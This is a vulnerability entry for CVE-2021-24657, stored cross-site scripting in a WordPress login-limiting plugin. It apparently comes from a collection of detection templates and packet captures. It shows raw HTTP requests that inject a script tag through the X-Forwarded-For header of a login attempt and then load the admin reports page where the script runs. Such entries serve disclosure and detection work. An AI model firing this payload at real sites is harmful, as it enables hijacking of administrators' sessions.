| Title | Limit Login Attempts WordPress - Stored Cross-site Scripting |
|---|---|
| Author | theamanrawat |
| Severity | Medium |
| Impact | Unauthenticated attackers can execute arbitrary scripts in admin browsers, potentially leading to session hijacking or defacement. |
| Remediation | Update to version 4.0.50 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01315 |
| CVE ID | CVE-2021-24657 |
| CWE ID | CWE-79 |
| Tags | cve cve2021 wordpress wp wp-plugin miniorange-limit-login-attempts xss authenticated |
Limit Login Attempts WordPress plugin < 4.0.50 contains a stored cross-site scripting caused by not escaping IP addresses controlled via headers like X-Forwarded-For before outputting them in reports, letting unauthenticated attackers execute scripts in admin context.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=ft2qKO&pwd=wtIbYP&wp-submit=Log+In
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: gMSnei<script>alert(document.domain)</script>
Accept-Encoding: gzip
log=gMSnei&pwd=gMSnei&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=reports HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24657.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24657.pcap
N/AN/A